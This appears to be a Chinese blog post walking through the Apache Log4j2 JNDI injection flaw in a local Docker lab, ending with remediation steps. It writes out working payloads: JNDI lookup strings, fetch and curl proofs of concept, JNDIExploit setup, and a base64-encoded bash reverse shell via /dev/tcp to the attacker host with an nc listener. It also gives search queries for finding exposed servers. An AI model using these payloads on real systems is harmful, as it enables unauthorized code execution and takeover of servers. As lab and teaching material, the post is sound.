zoukankan      html  css  js  c++  java
  • Apache Log4j2 RCE远程代码执行漏洞

    Apache Log4j2 RCE远程代码执行漏洞

    漏洞介绍

    1、2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

    Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。

    2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

    漏洞原理

    1、Log4j2日志

    2、log4j2 提供了 lookups

    不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明

    hello ${java:os}hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。

    3、还支持JNDI Lookup、RMI远程调用

    可以通过JNDI引入目录资源,进行加载class执行代码。也可以通过RMI远程调用资源。

    漏洞影响

    影响版本:Apache Log4j2.x <= 2.14.1

    已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...

    搜索漏洞语法

    fofa搜索语法:

    app="Log4j2"
    

    shodan搜索语法:

    Server: Log4j2
    

    搭建漏洞docker环境

    目标:centos7

    IP:192.168.110.133

    攻击机:kali linux

    IP:192.168.110.141

    下载docker漏洞镜像文件

    sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
    sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
    
    进入shell命令
    sudo docker exec -it 5500411a2fac(容器id)
    

    Payload配合DNSLog检测

    先去DNSLog生成域名:zigsvm.dnslog.cn

    JS POST POC请求

    fetch(new Request('url',{
    method:'POST', 
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
    })).then((resp)=>{console.log(resp)})
    

    构建:

    fetch(new Request('http://192.168.110.133:8080/hello',{
    method:'POST', 
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
    })).then((resp)=>{console.log(resp)})
    

    响应200,说明存在该漏洞。再看看DNSLog的请求

    HackBar构建POC

    目标:http://192.168.110.133:8080/hello

    POST payload:

    payload=${jndi:ldap://zigsvm.dnslog.cn./exp}
    

    JNDIEXPloit工具Getshell

    基础环境

    kali linux:192.168.110.141

    Centos7:192.168.110.133

    wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
    

    攻击机安装JAVA环境

    (这里是Centos7目标机,可以不安。我这里是在Kali linux安装的)

    yum install -y java-1.8*
    
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
    

    ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    

    配置监听

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090
    

    指定监听9090端口

    开始监听LDAP Server服务

    再加上一个HTTP server服务

    命令执行输出文件

    测试payload语句

    修整下payload,特殊字符需要通过url编码,尤其像+号需要通过双重URL编码,不然就会被当作连接符。

    初始payload:
    ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=
    
    url编码后payload:
    ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D
    

    构造payload

    ${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}
    

    抓包获取请求包:

    提交一个js post请求数据包,然后用burpsuite抓取

    发送到Repeater模块去测试payload:

    请求成功200,看看监听

    payload正常。

    接下来去docker容器看看

    没有文件,直接反弹shell看看。

    反弹shell

    payload:

    bash -i >& /dev/tcp/192.168.110.141/9797 0>&1
    
    bash64编码:
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
    
    url编码:
    YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
    

    kali linux设置好监听:

    nc -lvvp 9797
    

    抓包重新发送看看:

    shell弹过来了:

    curl命令请求

    curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello
    

    BurpSuite被动扫描插件Log4j2Scan

    https://github.com/pochubs/Log4j2Scan-1.git

    自己编译下

    mvn package
    

    加入到java插件中

    配置好一些API

    然后看Dashoard这个模块即可

    修复建议

    1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

    2. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid

    3. jvm参数 -Dlog4j2.formatMsgNoLookups=true

    4. log4j2.formatMsgNoLookups=True

    5. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

    6. 禁止使用log4j的服务器外连出网

    7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式。

  • 相关阅读:
    C#中的String.Format()方法
    JQuery中的each方法
    [开发笔记]-使用jquery获取url及url参数的方法
    ThinkPHP3.2.3学习笔记3---视图
    PHP命名空间namespace使用小结
    ThinkPHP3.2.3学习笔记2---模型
    PHP中的连贯操作
    关于新技术的学习问题
    ThinkPHP3.2.3学习笔记1---控制器
    WinXP下如何安装及御载MySQL服务
  • 原文地址:https://www.cnblogs.com/miruier/p/15743038.html
Copyright © 2011-2022 走看看